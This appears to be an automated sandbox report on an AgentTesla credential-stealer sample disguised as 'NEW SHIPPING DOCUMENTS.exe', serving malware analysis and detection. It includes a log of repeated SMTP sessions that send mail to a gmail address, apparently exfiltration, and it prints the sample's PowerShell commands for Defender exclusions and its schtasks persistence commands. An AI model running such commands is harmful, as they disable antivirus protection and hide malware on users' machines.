Jan 15, 2025 08:43:36.944447041 CET	50016	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:43:37.141834974 CET	587	50016	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:43:37.600169897 CET	587	50016	212.44.102.65	192.168.2.6	250 OK id=1tXy3t-0002ax-09
Jan 15, 2025 08:43:42.922630072 CET	50016	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:43:43.323719025 CET	587	50016	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:43:43.654836893 CET	587	50017	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:43:43 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:43:43.659612894 CET	50017	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:43:43.854235888 CET	587	50017	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:43:43.859663010 CET	50017	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:43:43.914983988 CET	587	50018	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:43:43 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:43:43.919672966 CET	50018	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:43:44.054807901 CET	587	50017	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:43:44.117368937 CET	587	50018	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:43:44.117701054 CET	50018	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:43:44.269359112 CET	587	50017	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:43:44.270061016 CET	50017	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:43:44.312671900 CET	587	50018	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:43:44.464277983 CET	587	50017	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:43:44.464483023 CET	50017	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:43:44.522588015 CET	587	50018	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:43:44.528156042 CET	50018	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:43:44.704405069 CET	587	50017	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:43:44.704607010 CET	50017	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:43:44.722718954 CET	587	50018	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:43:44.723342896 CET	50018	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:43:44.899172068 CET	587	50017	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:43:44.967219114 CET	587	50018	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:43:44.967340946 CET	50018	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:43:45.161616087 CET	587	50018	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:43:45.353095055 CET	587	50017	212.44.102.65	192.168.2.6	250 OK id=1tXy40-0002cn-2b
Jan 15, 2025 08:43:45.615395069 CET	587	50018	212.44.102.65	192.168.2.6	250 OK id=1tXy41-0002co-0D
Jan 15, 2025 08:43:48.243124008 CET	50017	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:43:48.639465094 CET	587	50017	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:43:49.234462023 CET	587	50019	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:43:49 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:43:49.234769106 CET	50019	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:43:49.428610086 CET	587	50019	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:43:49.428781986 CET	50019	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:43:49.622834921 CET	587	50019	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:43:49.836313009 CET	587	50019	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:43:49.836529970 CET	50019	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:43:50.037955046 CET	587	50019	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:43:50.070084095 CET	50019	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:43:50.309096098 CET	587	50019	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:43:50.310980082 CET	50019	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:43:50.505007982 CET	587	50019	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:43:50.965713024 CET	587	50019	212.44.102.65	192.168.2.6	250 OK id=1tXy46-0002dI-1K
Jan 15, 2025 08:43:55.858501911 CET	50019	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:43:56.255269051 CET	587	50019	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:43:57.968069077 CET	587	50021	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:43:57 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:43:57.973679066 CET	50021	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:43:58.168167114 CET	587	50021	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:43:58.169864893 CET	50021	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:43:58.369111061 CET	587	50021	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:43:58.585093021 CET	587	50021	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:43:58.585357904 CET	50021	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:43:58.780577898 CET	587	50021	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:43:58.780719042 CET	50021	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:43:59.022542953 CET	587	50021	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:43:59.022677898 CET	50021	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:43:59.217644930 CET	587	50021	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:43:59.728949070 CET	587	50021	212.44.102.65	192.168.2.6	250 OK id=1tXy4F-0002eH-0O
Jan 15, 2025 08:44:00.005722046 CET	50014	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:44:00.403544903 CET	587	50014	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:44:01.014897108 CET	587	50022	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:44:00 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:44:01.015068054 CET	50022	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:44:01.213073969 CET	587	50022	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:44:01.213406086 CET	50022	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:44:01.411942005 CET	587	50022	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:44:01.625035048 CET	587	50022	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:44:01.647099972 CET	50022	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:44:01.845330954 CET	587	50022	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:44:01.851749897 CET	50022	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:44:02.106352091 CET	587	50022	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:44:02.106718063 CET	50022	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:44:02.304672003 CET	587	50022	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:44:02.768256903 CET	587	50022	212.44.102.65	192.168.2.6	250 OK id=1tXy4I-0002ek-0f
Jan 15, 2025 08:44:03.761871099 CET	50022	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:44:04.163575888 CET	587	50022	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:44:04.754967928 CET	587	50023	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:44:04 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:44:04.755091906 CET	50023	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:44:04.949564934 CET	587	50023	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:44:04.949728012 CET	50023	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:44:05.144316912 CET	587	50023	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:44:05.361375093 CET	587	50023	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:44:05.361501932 CET	50023	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:44:05.555880070 CET	587	50023	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:44:05.556046009 CET	50023	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:44:05.800333977 CET	587	50023	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:44:05.800502062 CET	50023	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:44:05.995090008 CET	587	50023	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:44:06.018157005 CET	50023	587	192.168.2.6	212.44.102.65	.
Jan 15, 2025 08:44:06.458679914 CET	587	50023	212.44.102.65	192.168.2.6	250 OK id=1tXy4L-0002gh-2u
Jan 15, 2025 08:44:09.779714108 CET	50023	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:44:10.176616907 CET	587	50023	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:44:10.802951097 CET	587	50024	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:44:10 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:44:10.803123951 CET	50024	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:44:10.963255882 CET	50021	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:44:10.997549057 CET	587	50024	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:44:10.997776985 CET	50024	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:44:11.192467928 CET	587	50024	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:44:11.360269070 CET	587	50021	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:44:15.154799938 CET	587	50025	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:44:15 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:44:15.154918909 CET	50025	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:44:15.312625885 CET	587	50026	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:44:15 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:44:15.312767982 CET	50026	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:44:15.353018045 CET	587	50025	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:44:15.353159904 CET	50025	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:44:15.508991003 CET	587	50026	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:44:15.509164095 CET	50026	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:44:15.557992935 CET	587	50025	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:44:15.705519915 CET	587	50026	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:44:15.770289898 CET	587	50025	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:44:15.770421982 CET	50025	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:44:15.915554047 CET	587	50026	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:44:15.915683985 CET	50026	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:44:15.968208075 CET	587	50025	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:44:15.968333960 CET	50025	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:44:16.111355066 CET	587	50026	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:44:16.111507893 CET	50026	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:44:16.210967064 CET	587	50025	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:44:16.211333990 CET	50025	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:44:16.350384951 CET	587	50026	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:44:16.350552082 CET	50026	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:44:16.409223080 CET	587	50025	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:44:16.547022104 CET	587	50026	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:44:16.872215033 CET	587	50025	212.44.102.65	192.168.2.6	250 OK id=1tXy4W-0002kY-10
Jan 15, 2025 08:44:17.008769989 CET	587	50026	212.44.102.65	192.168.2.6	250 OK id=1tXy4W-0002ka-1S

Target ID:	0
Start time:	02:40:04
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"
Imagebase:	0x970000
File size:	797'696 bytes
MD5 hash:	10A2684AAE3F75A984DC63506E8ED8DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:40:05
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"
Imagebase:	0x3f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:40:05
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:40:05
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\RvUJzKx.exe"
Imagebase:	0x3f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:40:05
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:40:05
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp"
Imagebase:	0xf10000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:40:05
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:40:06
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"
Imagebase:	0xe70000
File size:	797'696 bytes
MD5 hash:	10A2684AAE3F75A984DC63506E8ED8DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.4586675330.000000000326B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.4586675330.000000000326B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:40:07
Start date:	15/01/2025
Path:	C:\Users\user\AppData\Roaming\RvUJzKx.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\RvUJzKx.exe
Imagebase:	0x4a0000
File size:	797'696 bytes
MD5 hash:	10A2684AAE3F75A984DC63506E8ED8DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:40:09
Start date:	15/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	02:40:10
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp2DB8.tmp"
Imagebase:	0xf10000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:40:10
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:40:10
Start date:	15/01/2025
Path:	C:\Users\user\AppData\Roaming\RvUJzKx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\RvUJzKx.exe"
Imagebase:	0xa30000
File size:	797'696 bytes
MD5 hash:	10A2684AAE3F75A984DC63506E8ED8DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.4586702521.000000000302B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.4586702521.000000000302B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.9%
Total number of Nodes:	228
Total number of Limit Nodes:	13

Executed Functions

Function 0709F200 Relevance: 1.7, APIs: 1, Instructions: 167
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 0709F1C2

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 45dde594f65a57d6e5d2dc77fae3e7a1f6e24f11904aae56a30313d7fc85fd72
Instruction ID: 62802e6bca8e12a23ab37c36d9bb9542611b362063e8571dcf0a75d086d0e046
Opcode Fuzzy Hash: 45dde594f65a57d6e5d2dc77fae3e7a1f6e24f11904aae56a30313d7fc85fd72
Instruction Fuzzy Hash: D96172B5D0021A8FDB14CFA9C5406AEFBF2BF89304F24C26AD418A7355C7349942CFA1

Function 07095AB0 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

?w=>, xrefs: 07095D8C

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: ?w=>
API String ID: 0-1933253675
Opcode ID: e4e4cfe2b553ad5678d460e279f5b9c59af9772d8ea63d151681eaed4fc286a4
Instruction ID: c3a0065dded1b5379f0387ec74f72330646b93bf0cd0aeac9ae9d6a0a9e9c9b6
Opcode Fuzzy Hash: e4e4cfe2b553ad5678d460e279f5b9c59af9772d8ea63d151681eaed4fc286a4
Instruction Fuzzy Hash: A7B104B1E15219DFDF19CFA6D88059EFBB2BF89300F10962AD425BB264DB349902DF10

Function 07095AC0 Relevance: 1.5, Strings: 1, Instructions: 270COMMON

Download Yara Rule

Strings

?w=>, xrefs: 07095D8C

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: ?w=>
API String ID: 0-1933253675
Opcode ID: d58e7ff036f87a7deaa9405547cfd6a977965a0536f692907d1a6a31344aade1
Instruction ID: f438bb8d481838626057362053db60d17d93c9350dff91c7469df1d6e52b8577
Opcode Fuzzy Hash: d58e7ff036f87a7deaa9405547cfd6a977965a0536f692907d1a6a31344aade1
Instruction Fuzzy Hash: 6CB1F1B0E15219DBDF19CFE6D88059EFBB2BF89300F10962AD425BB264DB349902DF14

Function 070935D8 Relevance: 1.5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

Strings

5{, xrefs: 070937D2

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: 5{
API String ID: 0-2291050889
Opcode ID: b9deb0ef27c93fb414b97176087346847cd25aaa67a37b2b6672bf5285599616
Instruction ID: 985668ffac2935fe63afe05aa1faa09f4362bc8e82b3f72938f568a91dc1abf3
Opcode Fuzzy Hash: b9deb0ef27c93fb414b97176087346847cd25aaa67a37b2b6672bf5285599616
